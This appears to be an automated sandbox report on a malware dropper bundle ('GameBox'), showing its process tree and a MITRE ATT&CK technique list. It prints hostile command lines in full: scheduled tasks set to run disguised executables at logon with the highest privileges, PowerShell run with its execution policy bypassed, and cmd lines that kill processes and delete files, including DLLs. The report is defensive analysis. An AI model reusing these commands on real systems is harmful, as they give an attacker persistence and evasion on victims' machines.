"C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe"
5⤵
PID:1284

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im runvd.exe /f & timeout /t 6 & del /f /q "C:\Program Files (x86)\GameBox INC\GameBox\runvd.exe" & del C:\ProgramData\*.dll & exit
6⤵
PID:3800

C:\Windows\SysWOW64\taskkill.exe
taskkill /im runvd.exe /f
7⤵
- Kills process with taskkill
PID:2156

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
7⤵
- Delays execution with timeout.exe
PID:2088

C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
5⤵
PID:2736

C:\Users\Admin\AppData\Local\Temp\is-K0V1J.tmp\Inlog.tmp
"C:\Users\Admin\AppData\Local\Temp\is-K0V1J.tmp\Inlog.tmp" /SL5="$30260,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\Inlog.exe" /Verysilent
6⤵
PID:1476

C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe
"C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SID=717 CID=717 SILENT=1 /quiet
5⤵
PID:1112

C:\Windows\SysWOW64\msiexec.exe
"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner 1.0.0\install\FD7DF1F\Cleaner Installation.msi" SID=717 CID=717 SILENT=1 /quiet AI_SETUPEXEPATH="C:\Program Files (x86)\GameBox INC\GameBox\Cleaner Installation.exe" SETUPEXEDIR="C:\Program Files (x86)\GameBox INC\GameBox\" EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1629548202 SID=717 CID=717 SILENT=1 /quiet " SID="717" CID="717"
6⤵
PID:2648

C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe
"C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
5⤵
PID:2392

C:\Users\Admin\AppData\Local\Temp\is-4655T.tmp\MediaBurner2.tmp
"C:\Users\Admin\AppData\Local\Temp\is-4655T.tmp\MediaBurner2.tmp" /SL5="$202FE,506127,422400,C:\Program Files (x86)\GameBox INC\GameBox\MediaBurner2.exe"
6⤵
PID:1748

C:\Users\Admin\AppData\Local\Temp\is-HG927.tmp\ultradumnibour.exe
"C:\Users\Admin\AppData\Local\Temp\is-HG927.tmp\ultradumnibour.exe" /S /UID=burnerch2
7⤵
PID:3144

C:\Program Files\Mozilla Firefox\VCVELSUSDT\ultramediaburner.exe
"C:\Program Files\Mozilla Firefox\VCVELSUSDT\ultramediaburner.exe" /VERYSILENT
8⤵
PID:3752

C:\Users\Admin\AppData\Local\Temp\is-49269.tmp\ultramediaburner.tmp
"C:\Users\Admin\AppData\Local\Temp\is-49269.tmp\ultramediaburner.tmp" /SL5="$30356,281924,62464,C:\Program Files\Mozilla Firefox\VCVELSUSDT\ultramediaburner.exe" /VERYSILENT
9⤵
PID:1232

C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
"C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
10⤵
PID:1868

C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe
"C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
5⤵
PID:2380

C:\Users\Admin\AppData\Local\Temp\is-IKPHI.tmp\VPN.tmp
"C:\Users\Admin\AppData\Local\Temp\is-IKPHI.tmp\VPN.tmp" /SL5="$1031A,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\VPN.exe" /Verysilent
6⤵
PID:2764

C:\Users\Admin\AppData\Local\Temp\is-LD0IK.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-LD0IK.tmp\Setup.exe" /silent /subid=720
7⤵
PID:1444

C:\Users\Admin\AppData\Local\Temp\is-J8FFO.tmp\Setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-J8FFO.tmp\Setup.tmp" /SL5="$601B4,15170975,270336,C:\Users\Admin\AppData\Local\Temp\is-LD0IK.tmp\Setup.exe" /silent /subid=720
8⤵
PID:2856

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
9⤵
PID:700

C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
tapinstall.exe remove tap0901
10⤵
PID:3912

C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe
"C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
5⤵
PID:2344

C:\Users\Admin\AppData\Local\Temp\is-M01AB.tmp\WEATHER Manager.tmp
"C:\Users\Admin\AppData\Local\Temp\is-M01AB.tmp\WEATHER Manager.tmp" /SL5="$10314,138429,56832,C:\Program Files (x86)\GameBox INC\GameBox\WEATHER Manager.exe" /Verysilent
6⤵
PID:912

C:\Users\Admin\AppData\Local\Temp\is-SPIS9.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-SPIS9.tmp\Setup.exe" /quiet SILENT=1 AF=715 BF=715
7⤵
PID:3120

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe"
5⤵
PID:2888

C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe
"C:\Program Files (x86)\GameBox INC\GameBox\zhaoy-game.exe" -q
6⤵
PID:2464

C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe
"C:\Program Files (x86)\GameBox INC\GameBox\LivelyScreenRecS1.9.exe"
5⤵
PID:1852

C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe
"C:\Program Files (x86)\GameBox INC\GameBox\xtect12.exe"
5⤵
PID:2512

C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe
"C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe"
6⤵
PID:3360

C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe
C:\Users\Admin\Documents\87xGj1wH8lUv2yU4FWsq2HkK.exe
7⤵
PID:3328

C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe
"C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe"
6⤵
PID:3392

C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe
"C:\Users\Admin\Documents\EQ0L9EBe0NnFer6NabnjZMFO.exe"
7⤵
PID:3908

C:\Users\Admin\Documents\swZnitNdAEh3GQJk3lP8NqNy.exe
"C:\Users\Admin\Documents\swZnitNdAEh3GQJk3lP8NqNy.exe"
6⤵
PID:3348

C:\Users\Admin\Documents\2pf2yetkNReiLReSG6urQ5sE.exe
"C:\Users\Admin\Documents\2pf2yetkNReiLReSG6urQ5sE.exe"
6⤵
PID:3340

C:\Users\Admin\Documents\8XTeR9B3yRwic1yC9mis9Frj.exe
"C:\Users\Admin\Documents\8XTeR9B3yRwic1yC9mis9Frj.exe"
6⤵
PID:3472

C:\Users\Admin\Documents\CWnOlwpbHk7NzIRcRKvtdeGl.exe
"C:\Users\Admin\Documents\CWnOlwpbHk7NzIRcRKvtdeGl.exe"
6⤵
PID:3560

C:\Users\Admin\Documents\Z4Z9O2U4IJQ0Y0n1A_qocffy.exe
"C:\Users\Admin\Documents\Z4Z9O2U4IJQ0Y0n1A_qocffy.exe"
6⤵
PID:3552

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3552 -s 1308
7⤵
- Program crash
PID:3200

C:\Users\Admin\Documents\bY2_g9bodoC_Bt_hmZk_E7Q2.exe
"C:\Users\Admin\Documents\bY2_g9bodoC_Bt_hmZk_E7Q2.exe"
6⤵
PID:3544

C:\Users\Admin\Documents\Stj2j2abNeK1p6Wmj8GIvw4Y.exe
"C:\Users\Admin\Documents\Stj2j2abNeK1p6Wmj8GIvw4Y.exe"
6⤵
PID:3604

C:\Users\Admin\Documents\HerYP2OUC1dmnzfI6AHU4ZZl.exe
"C:\Users\Admin\Documents\HerYP2OUC1dmnzfI6AHU4ZZl.exe"
6⤵
PID:3596

C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe
"C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe"
6⤵
PID:3588

C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe
"C:\Users\Admin\Documents\iigzRfbs90wtr0KTUUQlmmWg.exe"
7⤵
PID:2136

C:\Users\Admin\Documents\MBLLZ3z7nXH3jO_uLluYAvXk.exe
"C:\Users\Admin\Documents\MBLLZ3z7nXH3jO_uLluYAvXk.exe"
6⤵
PID:3656

C:\Users\Admin\AppData\Local\Temp\is-Q8HQH.tmp\MBLLZ3z7nXH3jO_uLluYAvXk.tmp
"C:\Users\Admin\AppData\Local\Temp\is-Q8HQH.tmp\MBLLZ3z7nXH3jO_uLluYAvXk.tmp" /SL5="$40200,138429,56832,C:\Users\Admin\Documents\MBLLZ3z7nXH3jO_uLluYAvXk.exe"
7⤵
PID:3308

C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe
"C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe"
6⤵
PID:3696

C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe
"C:\Users\Admin\Documents\YlhuzAajznWiqC0Oho1ReNmZ.exe" -q
7⤵
PID:1928

C:\Users\Admin\Documents\LJd0k5PD3Dld2Q3wN990VQYa.exe
"C:\Users\Admin\Documents\LJd0k5PD3Dld2Q3wN990VQYa.exe"
6⤵
PID:3536

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "LJd0k5PD3Dld2Q3wN990VQYa.exe" /f & erase "C:\Users\Admin\Documents\LJd0k5PD3Dld2Q3wN990VQYa.exe" & exit
7⤵
PID:3288

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "LJd0k5PD3Dld2Q3wN990VQYa.exe" /f
8⤵
- Kills process with taskkill
PID:700

C:\Users\Admin\Documents\5kEcvCqOJU8iWepZnZkY4ydB.exe
"C:\Users\Admin\Documents\5kEcvCqOJU8iWepZnZkY4ydB.exe"
6⤵
PID:3756

C:\Users\Admin\Documents\kkhzsvVHfdZi1jVaX1xFoqKx.exe
"C:\Users\Admin\Documents\kkhzsvVHfdZi1jVaX1xFoqKx.exe"
6⤵
PID:3528

C:\Users\Admin\Documents\avekjSMTattPfFsQUwdeWRPQ.exe
"C:\Users\Admin\Documents\avekjSMTattPfFsQUwdeWRPQ.exe"
6⤵
PID:3520

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "avekjSMTattPfFsQUwdeWRPQ.exe" /f & erase "C:\Users\Admin\Documents\avekjSMTattPfFsQUwdeWRPQ.exe" & exit
7⤵
PID:3132

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "avekjSMTattPfFsQUwdeWRPQ.exe" /f
8⤵
- Kills process with taskkill
PID:2872

C:\Users\Admin\Documents\EktIwF5rW7Fz2a1X6IEIYaR6.exe
"C:\Users\Admin\Documents\EktIwF5rW7Fz2a1X6IEIYaR6.exe"
6⤵
PID:3464

C:\Users\Admin\Documents\Cqzcauw9_VANPow4c4G12XXR.exe
"C:\Users\Admin\Documents\Cqzcauw9_VANPow4c4G12XXR.exe"
6⤵
PID:3456

C:\Users\Admin\Documents\70XKnZHVvh9ZtIsjvdTg5FIs.exe
"C:\Users\Admin\Documents\70XKnZHVvh9ZtIsjvdTg5FIs.exe"
6⤵
PID:3448

C:\Users\Admin\Documents\f_ziNFoxgnB25yWat5q12b62.exe
"C:\Users\Admin\Documents\f_ziNFoxgnB25yWat5q12b62.exe"
6⤵
PID:3440

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
"C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe"
6⤵
PID:3432

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
7⤵
PID:1768

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
7⤵
PID:1744

C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
C:\Users\Admin\Documents\ZJX2afRrHy2ClALfgr0zs8uU.exe
7⤵
PID:3000

C:\Users\Admin\Documents\v5i7OpJH2whPAap5xAp_nwcs.exe
"C:\Users\Admin\Documents\v5i7OpJH2whPAap5xAp_nwcs.exe"
6⤵
PID:3424

C:\Users\Admin\AppData\Roaming\5151923.exe
"C:\Users\Admin\AppData\Roaming\5151923.exe"
7⤵
PID:2376

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2376 -s 1668
8⤵
- Program crash
PID:3716

C:\Users\Admin\AppData\Roaming\2824387.exe
"C:\Users\Admin\AppData\Roaming\2824387.exe"
7⤵
PID:2456

C:\Users\Admin\AppData\Roaming\4804575.exe
"C:\Users\Admin\AppData\Roaming\4804575.exe"
7⤵
PID:2724

C:\Users\Admin\AppData\Roaming\3163850.exe
"C:\Users\Admin\AppData\Roaming\3163850.exe"
7⤵
PID:1392

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1392 -s 840
8⤵
- Program crash
PID:3360

C:\Users\Admin\Documents\HQouPO73iZNFyozHpbwUkSnq.exe
"C:\Users\Admin\Documents\HQouPO73iZNFyozHpbwUkSnq.exe"
6⤵
PID:3332

C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe
"C:\Program Files (x86)\GameBox INC\GameBox\PBrowFile15.exe"
5⤵
PID:1972

C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe
"C:\Program Files (x86)\GameBox INC\GameBox\RuntimeBroker.exe"
5⤵
PID:2812

C:\Users\Admin\Documents\MWBGBOoZ1I9lQvA7E06GHPOJ.exe
"C:\Users\Admin\Documents\MWBGBOoZ1I9lQvA7E06GHPOJ.exe"
2⤵
- Executes dropped EXE
PID:1088

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\system32\rundll32.exe C:\Users\Admin\DOCUME~1\MWBGBO~1.DLL,s C:\Users\Admin\DOCUME~1\MWBGBO~1.EXE
3⤵
PID:2120

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\MWBGBO~1.DLL,TkMLSw==
4⤵
PID:3172

C:\Windows\SysWOW64\RUNDLL32.EXE
C:\Windows\system32\RUNDLL32.EXE C:\Users\Admin\DOCUME~1\MWBGBO~1.DLL,RzgOTw==
5⤵
PID:1680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Executionpolicy bypass -File "C:\Users\Admin\AppData\Local\Temp\tmp3DFA.tmp.ps1"
5⤵
PID:4036

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "NzxsyYlysdBauX2Y436vSgO8" /sc ONLOGON /tr "'C:\Users\Admin\Documents\SkipUnprotect\NzxsyYlysdBauX2Y436vSgO8.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2228

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rjl250sECO384l6hekfWur37" /sc ONLOGON /tr "'C:\Documents and Settings\rjl250sECO384l6hekfWur37.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2236

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "taskhost" /sc ONLOGON /tr "'C:\Windows\System32\WsmTxt\taskhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2244

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LeNW19xoO5E82rP71JC3IA_X" /sc ONLOGON /tr "'C:\Windows\ehome\CreateDisc\SFXPlugins\LeNW19xoO5E82rP71JC3IA_X.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2252

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "explorer" /sc ONLOGON /tr "'C:\Windows\HelpPane\explorer.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2260

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "9hL434R6RaggjkAEgK1YOktb" /sc ONLOGON /tr "'C:\Users\Admin\Documents\Files\9hL434R6RaggjkAEgK1YOktb.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2268

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2532

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding A327D991991B8115AADCA44DD031B6A8 C
2⤵
PID:3632

C:\Windows\syswow64\MsiExec.exe
C:\Windows\syswow64\MsiExec.exe -Embedding C72EC043815E42DBA0B6D08112C25C05
2⤵
PID:3688

C:\Windows\system32\taskeng.exe
taskeng.exe {69667652-11B1-4D3A-B396-3939EC9E1F62} S-1-5-21-2513283230-931923277-594887482-1000:MRBKYMNO\Admin:Interactive:[1]
1⤵
PID:3868

C:\Users\Admin\AppData\Roaming\wadjtfu
C:\Users\Admin\AppData\Roaming\wadjtfu
2⤵
PID:3356

C:\Users\Admin\AppData\Roaming\widjtfu
C:\Users\Admin\AppData\Roaming\widjtfu
2⤵
PID:1296

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1628

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:4060

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3148

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3504

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:1144

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3484

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:3968

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:2060

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:2476

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Virtualization/Sandbox Evasion

T1497

Install Root Certificate

T1130

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

Virtualization/Sandbox Evasion

T1497

System Information Discovery